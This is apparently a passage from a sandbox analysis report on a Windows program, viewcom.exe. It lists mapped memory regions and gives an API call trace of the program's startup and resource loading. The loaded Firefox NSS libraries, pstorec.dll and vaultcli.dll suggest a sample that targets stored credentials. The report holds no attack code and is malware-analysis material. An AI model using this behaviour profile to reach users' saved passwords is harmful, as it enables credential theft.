filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll")
Region:
id = 1378
start_va = 0x75e30000
end_va = 0x7602afff
entry_point = 0x75e322d9
region_type = mapped_file
name = "iertutil.dll"
filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll")
Region:
id = 1379
start_va = 0x76030000
end_va = 0x760cffff
entry_point = 0x760449e5
region_type = mapped_file
name = "advapi32.dll"
filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")
Region:
id = 1380
start_va = 0x760e0000
end_va = 0x76136fff
entry_point = 0x760f9ba6
region_type = mapped_file
name = "shlwapi.dll"
filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")
Region:
id = 1381
start_va = 0x76330000
end_va = 0x76348fff
entry_point = 0x76334975
region_type = mapped_file
name = "sechost.dll"
filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")
Region:
id = 1382
start_va = 0x764f0000
end_va = 0x77139fff
entry_point = 0x76571601
region_type = mapped_file
name = "shell32.dll"
filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll")
Region:
id = 1383
start_va = 0x77140000
end_va = 0x7715efff
entry_point = 0x77141355
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")
Region:
id = 1384
start_va = 0x77160000
end_va = 0x771dafff
entry_point = 0x77161aee
region_type = mapped_file
name = "comdlg32.dll"
filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll")
Region:
id = 1385
start_va = 0x771e0000
end_va = 0x772d4fff
entry_point = 0x771e1865
region_type = mapped_file
name = "wininet.dll"
filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll")
Region:
id = 1386
start_va = 0x772e0000
end_va = 0x773abfff
entry_point = 0x772e168b
region_type = mapped_file
name = "msctf.dll"
filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")
Region:
id = 1387
start_va = 0x773b0000
end_va = 0x7745bfff
entry_point = 0x773ba472
region_type = mapped_file
name = "msvcrt.dll"
filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")
Region:
id = 1388
start_va = 0x77460000
end_va = 0x775bbfff
entry_point = 0x774aba3d
region_type = mapped_file
name = "ole32.dll"
filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")
Region:
id = 1389
start_va = 0x77710000
end_va = 0x7775dfff
entry_point = 0x77719c09
region_type = mapped_file
name = "gdi32.dll"
filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")
Region:
id = 1390
start_va = 0x77760000
end_va = 0x777eefff
entry_point = 0x77763fb1
region_type = mapped_file
name = "oleaut32.dll"
filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")
Region:
id = 1391
start_va = 0x7f6f0000
end_va = 0x7f7effff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007f6f0000"
filename = ""
Region:
id = 1392
start_va = 0x20000
end_va = 0x20fff
entry_point = 0x0
region_type = private
name = "private_0x0000000000020000"
filename = ""
Region:
id = 1393
start_va = 0x140000
end_va = 0x140fff
entry_point = 0x0
region_type = private
name = "private_0x0000000000140000"
filename = ""
Region:
id = 1394
start_va = 0x350000
end_va = 0x35ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000350000"
filename = ""
Region:
id = 1395
start_va = 0x530000
end_va = 0x630fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000530000"
filename = ""
Region:
id = 1396
start_va = 0x640000
end_va = 0x123ffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000640000"
filename = ""
Region:
id = 1415
start_va = 0x1240000
end_va = 0x133ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001240000"
filename = ""
Region:
id = 1416
start_va = 0x150000
end_va = 0x150fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000150000"
filename = ""
Region:
id = 1417
start_va = 0x1340000
end_va = 0x160efff
entry_point = 0x1340000
region_type = mapped_file
name = "sortdefault.nls"
filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")
Region:
id = 1459
start_va = 0x751e0000
end_va = 0x751f5fff
entry_point = 0x751e2dc3
region_type = mapped_file
name = "cryptsp.dll"
filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")
Region:
id = 1460
start_va = 0x300000
end_va = 0x33bfff
entry_point = 0x30128d
region_type = mapped_file
name = "rsaenh.dll"
filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")
Region:
id = 1461
start_va = 0x300000
end_va = 0x33bfff
entry_point = 0x30128d
region_type = mapped_file
name = "rsaenh.dll"
filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")
Region:
id = 1462
start_va = 0x300000
end_va = 0x33bfff
entry_point = 0x30128d
region_type = mapped_file
name = "rsaenh.dll"
filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")
Region:
id = 1463
start_va = 0x300000
end_va = 0x33bfff
entry_point = 0x30128d
region_type = mapped_file
name = "rsaenh.dll"
filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")
Region:
id = 1464
start_va = 0x300000
end_va = 0x33bfff
entry_point = 0x30128d
region_type = mapped_file
name = "rsaenh.dll"
filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")
Region:
id = 1465
start_va = 0x74f80000
end_va = 0x74fbafff
entry_point = 0x74f8128d
region_type = mapped_file
name = "rsaenh.dll"
filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")
Region:
id = 1466
start_va = 0x75660000
end_va = 0x7566bfff
entry_point = 0x756610e1
region_type = mapped_file
name = "cryptbase.dll"
filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")
Region:
id = 1467
start_va = 0x1610000
end_va = 0x170ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001610000"
filename = ""
Region:
id = 1468
start_va = 0x72810000
end_va = 0x7281cfff
entry_point = 0x72815b1d
region_type = mapped_file
name = "pstorec.dll"
filename = "\\Windows\\System32\\pstorec.dll" (normalized: "c:\\windows\\system32\\pstorec.dll")
Region:
id = 1469
start_va = 0x7ffde000
end_va = 0x7ffdefff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffde000"
filename = ""
Region:
id = 1470
start_va = 0x741e0000
end_va = 0x741f3fff
entry_point = 0x741e1da9
region_type = mapped_file
name = "atl.dll"
filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll")
Region:
id = 1471
start_va = 0x723a0000
end_va = 0x723abfff
entry_point = 0x723a0000
region_type = mapped_file
name = "vaultcli.dll"
filename = "\\Windows\\System32\\vaultcli.dll" (normalized: "c:\\windows\\system32\\vaultcli.dll")
Region:
id = 1487
start_va = 0x1710000
end_va = 0x1810fff
entry_point = 0x0
region_type = private
name = "private_0x0000000001710000"
filename = ""
Region:
id = 1488
start_va = 0x1710000
end_va = 0x1810fff
entry_point = 0x0
region_type = private
name = "private_0x0000000001710000"
filename = ""
Region:
id = 1489
start_va = 0x1710000
end_va = 0x1810fff
entry_point = 0x0
region_type = private
name = "private_0x0000000001710000"
filename = ""
Region:
id = 1490
start_va = 0x1710000
end_va = 0x1810fff
entry_point = 0x0
region_type = private
name = "private_0x0000000001710000"
filename = ""
Region:
id = 1491
start_va = 0x1710000
end_va = 0x18c1fff
entry_point = 0x1710000
region_type = mapped_file
name = "nss3.dll"
filename = "\\Program Files\\Mozilla Firefox\\nss3.dll" (normalized: "c:\\program files\\mozilla firefox\\nss3.dll")
Region:
id = 1492
start_va = 0x1710000
end_va = 0x18c1fff
entry_point = 0x1872823
region_type = mapped_file
name = "nss3.dll"
filename = "\\Program Files\\Mozilla Firefox\\nss3.dll" (normalized: "c:\\program files\\mozilla firefox\\nss3.dll")
Region:
id = 1494
start_va = 0x5f200000
end_va = 0x5f3b4fff
entry_point = 0x5f362823
region_type = mapped_file
name = "nss3.dll"
filename = "\\Program Files\\Mozilla Firefox\\nss3.dll" (normalized: "c:\\program files\\mozilla firefox\\nss3.dll")
Region:
id = 1496
start_va = 0x6cda0000
end_va = 0x6cdd1fff
entry_point = 0x6cda0000
region_type = mapped_file
name = "winmm.dll"
filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll")
Region:
id = 1497
start_va = 0x6f660000
end_va = 0x6f666fff
entry_point = 0x6f661120
region_type = mapped_file
name = "wsock32.dll"
filename = "\\Windows\\System32\\wsock32.dll" (normalized: "c:\\windows\\system32\\wsock32.dll")
Region:
id = 1498
start_va = 0x75b20000
end_va = 0x75b54fff
entry_point = 0x75b2145d
region_type = mapped_file
name = "ws2_32.dll"
filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")
Region:
id = 1499
start_va = 0x75e20000
end_va = 0x75e25fff
entry_point = 0x75e21782
region_type = mapped_file
name = "nsi.dll"
filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")
Region:
id = 1501
start_va = 0x5fa20000
end_va = 0x5faddfff
entry_point = 0x5fa20000
region_type = mapped_file
name = "msvcr100.dll"
filename = "\\Program Files\\Mozilla Firefox\\msvcr100.dll" (normalized: "c:\\program files\\mozilla firefox\\msvcr100.dll")
Region:
id = 1503
start_va = 0x6d470000
end_va = 0x6d491fff
entry_point = 0x6d470000
region_type = mapped_file
name = "mozglue.dll"
filename = "\\Program Files\\Mozilla Firefox\\mozglue.dll" (normalized: "c:\\program files\\mozilla firefox\\mozglue.dll")
Region:
id = 1505
start_va = 0x5f190000
end_va = 0x5f1f8fff
entry_point = 0x5f190000
region_type = mapped_file
name = "msvcp100.dll"
filename = "\\Program Files\\Mozilla Firefox\\msvcp100.dll" (normalized: "c:\\program files\\mozilla firefox\\msvcp100.dll")
Region:
id = 1510
start_va = 0x1710000
end_va = 0x17dffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001710000"
filename = ""
Region:
id = 1511
start_va = 0x17e0000
end_va = 0x18cffff
entry_point = 0x0
region_type = private
name = "private_0x00000000017e0000"
filename = ""
Region:
id = 1514
start_va = 0x18d0000
end_va = 0x19cffff
entry_point = 0x0
region_type = private
name = "private_0x00000000018d0000"
filename = ""
Region:
id = 1517
start_va = 0x19d0000
end_va = 0x1acffff
entry_point = 0x0
region_type = private
name = "private_0x00000000019d0000"
filename = ""
Region:
id = 1518
start_va = 0x1a00000
end_va = 0x1afffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001a00000"
filename = ""
Region:
id = 1521
start_va = 0x6b250000
end_va = 0x6b276fff
entry_point = 0x6b250000
region_type = mapped_file
name = "softokn3.dll"
filename = "\\Program Files\\Mozilla Firefox\\softokn3.dll" (normalized: "c:\\program files\\mozilla firefox\\softokn3.dll")
Region:
id = 1522
start_va = 0x6b6c0000
end_va = 0x6b6d6fff
entry_point = 0x6b6c0000
region_type = mapped_file
name = "nssdbm3.dll"
filename = "\\Program Files\\Mozilla Firefox\\nssdbm3.dll" (normalized: "c:\\program files\\mozilla firefox\\nssdbm3.dll")
Region:
id = 1529
start_va = 0x160000
end_va = 0x160fff
entry_point = 0x160000
region_type = mapped_file
name = "tzres.dll"
filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll")
Region:
id = 1530
start_va = 0x170000
end_va = 0x176fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000170000"
filename = ""
Region:
id = 1531
start_va = 0x180000
end_va = 0x181fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000180000"
filename = ""
Region:
id = 1532
start_va = 0x1b00000
end_va = 0x1ef2fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000001b00000"
filename = ""
Region:
id = 1533
start_va = 0x160000
end_va = 0x160fff
entry_point = 0x160000
region_type = mapped_file
name = "tzres.dll"
filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll")
Region:
id = 1534
start_va = 0x5f140000
end_va = 0x5f18efff
entry_point = 0x5f140000
region_type = mapped_file
name = "freebl3.dll"
filename = "\\Program Files\\Mozilla Firefox\\freebl3.dll" (normalized: "c:\\program files\\mozilla firefox\\freebl3.dll")
Region:
id = 1549
start_va = 0x6b220000
end_va = 0x6b246fff
entry_point = 0x6b23c589
region_type = mapped_file
name = "softokn3.dll"
filename = "\\Program Files\\Mozilla Firefox\\softokn3.dll" (normalized: "c:\\program files\\mozilla firefox\\softokn3.dll")
Region:
id = 1550
start_va = 0x6b260000
end_va = 0x6b276fff
entry_point = 0x6b271aa0
region_type = mapped_file
name = "nssdbm3.dll"
filename = "\\Program Files\\Mozilla Firefox\\nssdbm3.dll" (normalized: "c:\\program files\\mozilla firefox\\nssdbm3.dll")
Region:
id = 1551
start_va = 0x5f0f0000
end_va = 0x5f13efff
entry_point = 0x5f126402
region_type = mapped_file
name = "freebl3.dll"
filename = "\\Program Files\\Mozilla Firefox\\freebl3.dll" (normalized: "c:\\program files\\mozilla firefox\\freebl3.dll")
Region:
id = 1552
start_va = 0x160000
end_va = 0x16ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000160000"
filename = ""
Region:
id = 1553
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1554
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1555
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1556
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1557
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1558
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1559
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1560
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1561
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1562
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1563
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1564
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1565
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1566
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1567
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1568
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1569
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1570
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1571
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1572
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1573
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1574
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1575
start_va = 0x760d0000
end_va = 0x760d4fff
entry_point = 0x760d1438
region_type = mapped_file
name = "psapi.dll"
filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll")
Region:
id = 1576
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1577
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1578
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1579
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1580
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1581
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1582
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1583
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1584
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1585
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1586
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1587
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1588
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1589
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1590
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1591
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1592
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1593
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1594
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1595
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1596
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1597
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1598
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1599
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1600
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1601
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1602
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1603
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1604
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1605
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1606
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1607
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1608
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1609
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1610
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1611
start_va = 0x160000
end_va = 0x167fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Thread:
id = 80
os_tid = 0xc7c
[0079.003] GetModuleHandleA (lpModuleName=0x0) returned 0x400000
[0079.003] __set_app_type (_Type=0x2)
[0079.003] __p__fmode () returned 0x774531f4
[0079.003] __p__commode () returned 0x774531fc
[0079.003] __wgetmainargs (in: _Argc=0x12ff5c, _Argv=0x12ff60, _Env=0x12ff64, _DoWildCard=0, _StartInfo=0x12ff68 | out: _Argc=0x12ff5c, _Argv=0x12ff60, _Env=0x12ff64) returned 0
[0079.003] _onexit (_Func=0x444109) returned 0x444109
[0079.003] _onexit (_Func=0x44411a) returned 0x44411a
[0079.004] _onexit (_Func=0x44412b) returned 0x44412b
[0079.004] _onexit (_Func=0x44414a) returned 0x44414a
[0079.004] _onexit (_Func=0x44418b) returned 0x44418b
[0079.004] _onexit (_Func=0x44419c) returned 0x44419c
[0079.004] GetStartupInfoW (in: lpStartupInfo=0x12ff10 | out: lpStartupInfo=0x12ff10*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0))
[0079.004] GetModuleHandleA (lpModuleName=0x0) returned 0x400000
[0079.004] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x723c0000
[0079.004] GetProcAddress (hModule=0x723c0000, lpProcName="InitCommonControlsEx") returned 0x723c6be6
[0079.004] InitCommonControlsEx (picce=0x12f7c8) returned 1
[0079.090] FreeLibrary (hLibModule=0x723c0000) returned 1
[0079.090] LoadLibraryW (lpLibFileName="shell32.dll") returned 0x764f0000
[0079.091] GetProcAddress (hModule=0x764f0000, lpProcName="SHGetSpecialFolderPathW") returned 0x76510468
[0079.091] SetErrorMode (uMode=0x8001) returned 0x0
[0079.103] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
[0079.103] EnumResourceTypesW (hModule=0x400000, lpEnumFunc=0x413540, lParam=0x0) returned 1
[0079.103] EnumResourceNamesW (hModule=0x400000, lpType=0x1, lpEnumFunc=0x4134ba, lParam=0x0) returned 1
[0079.103] FindResourceW (hModule=0x400000, lpName=0x1, lpType=0x1) returned 0x4545f8
[0079.104] SizeofResource (hModule=0x400000, hResInfo=0x4545f8) returned 0x134
[0079.104] LoadResource (hModule=0x400000, hResInfo=0x4545f8) returned 0x454868
[0079.104] LockResource (hResData=0x454868) returned 0x454868
[0079.104] EnumResourceNamesW (hModule=0x400000, lpType=0x2, lpEnumFunc=0x4134ba, lParam=0x0) returned 1
[0079.104] FindResourceW (hModule=0x400000, lpName=0x68, lpType=0x2) returned 0x454608
[0079.104] SizeofResource (hModule=0x400000, hResInfo=0x454608) returned 0x3e8
[0079.104] LoadResource (hModule=0x400000, hResInfo=0x454608) returned 0x45499c
[0079.104] LockResource (hResData=0x45499c) returned 0x45499c
[0079.104] FindResourceW (hModule=0x400000, lpName=0x85, lpType=0x2) returned 0x454618
[0079.104] SizeofResource (hModule=0x400000, hResInfo=0x454618) returned 0xd8
[0079.104] LoadResource (hModule=0x400000, hResInfo=0x454618) returned 0x454d84
[0079.104] LockResource (hResData=0x454d84) returned 0x454d84
[0079.104] FindResourceW (hModule=0x400000, lpName=0x86, lpType=0x2) returned 0x454628
[0079.104] SizeofResource (hModule=0x400000, hResInfo=0x454628) returned 0xd8
[0079.104] LoadResource (hModule=0x400000, hResInfo=0x454628) returned 0x454e5c
[0079.104] LockResource (hResData=0x454e5c) returned 0x454e5c
[0079.104] EnumResourceNamesW (hModule=0x400000, lpType=0x3, lpEnumFunc=0x4134ba, lParam=0x0) returned 1
[0079.104] FindResourceW (hModule=0x400000, lpName=0x2, lpType=0x3) returned 0x454638
[0079.104] SizeofResource (hModule=0x400000, hResInfo=0x454638) returned 0x10a8
[0079.104] LoadResource (hModule=0x400000, hResInfo=0x454638) returned 0x454f34
[0079.104] LockResource (hResData=0x454f34) returned 0x454f34
[0079.104] FindResourceW (hModule=0x400000, lpName=0x3, lpType=0x3) returned 0x454648
[0079.104] SizeofResource (hModule=0x400000, hResInfo=0x454648) returned 0x468
[0079.104] LoadResource (hModule=0x400000, hResInfo=0x454648) returned 0x455fdc
[0079.104] LockResource (hResData=0x455fdc) returned 0x455fdc
[0079.104] FindResourceW (hModule=0x400000, lpName=0x4, lpType=0x3) returned 0x454658
[0079.104] SizeofResource (hModule=0x400000, hResInfo=0x454658) returned 0x468
[0079.104] LoadResource (hModule=0x400000, hResInfo=0x454658) returned 0x456444
[0079.104] LockResource (hResData=0x456444) returned 0x456444
[0079.104] FindResourceW (hModule=0x400000, lpName=0x5, lpType=0x3) returned 0x454668
[0079.104] SizeofResource (hModule=0x400000, hResInfo=0x454668) returned 0x468
[0079.104] LoadResource (hModule=0x400000, hResInfo=0x454668) returned 0x4568ac
[0079.104] LockResource (hResData=0x4568ac) returned 0x4568ac
[0079.104] FindResourceW (hModule=0x400000, lpName=0x6, lpType=0x3) returned 0x454678
[0079.104] SizeofResource (hModule=0x400000, hResInfo=0x454678) returned 0x468
[0079.104] LoadResource (hModule=0x400000, hResInfo=0x454678) returned 0x456d14
[0079.104] LockResource (hResData=0x456d14) returned 0x456d14
[0079.105] FindResourceW (hModule=0x400000, lpName=0x7, lpType=0x3) returned 0x454688
[0079.106] SizeofResource (hModule=0x400000, hResInfo=0x454688) returned 0x468
[0079.106] LoadResource (hModule=0x400000, hResInfo=0x454688) returned 0x45717c
[0079.106] LockResource (hResData=0x45717c) returned 0x45717c
[0079.106] FindResourceW (hModule=0x400000, lpName=0x8, lpType=0x3) returned 0x454698
[0079.106] SizeofResource (hModule=0x400000, hResInfo=0x454698) returned 0x468
[0079.106] LoadResource (hModule=0x400000, hResInfo=0x454698) returned 0x4575e4
[0079.106] LockResource (hResData=0x4575e4) returned 0x4575e4
[0079.106] FindResourceW (hModule=0x400000, lpName=0x9, lpType=0x3) returned 0x4546a8
[0079.106] SizeofResource (hModule=0x400000, hResInfo=0x4546a8) returned 0x468
[0079.106] LoadResource (hModule=0x400000, hResInfo=0x4546a8) returned 0x457a4c
[0079.106] LockResource (hResData=0x457a4c) returned 0x457a4c
[0079.106] EnumResourceNamesW (hModule=0x400000, lpType=0x4, lpEnumFunc=0x4134ba, lParam=0x0) returned 1
[0079.106] FindResourceW (hModule=0x400000, lpName=0x66, lpType=0x4) returned 0x4546b8
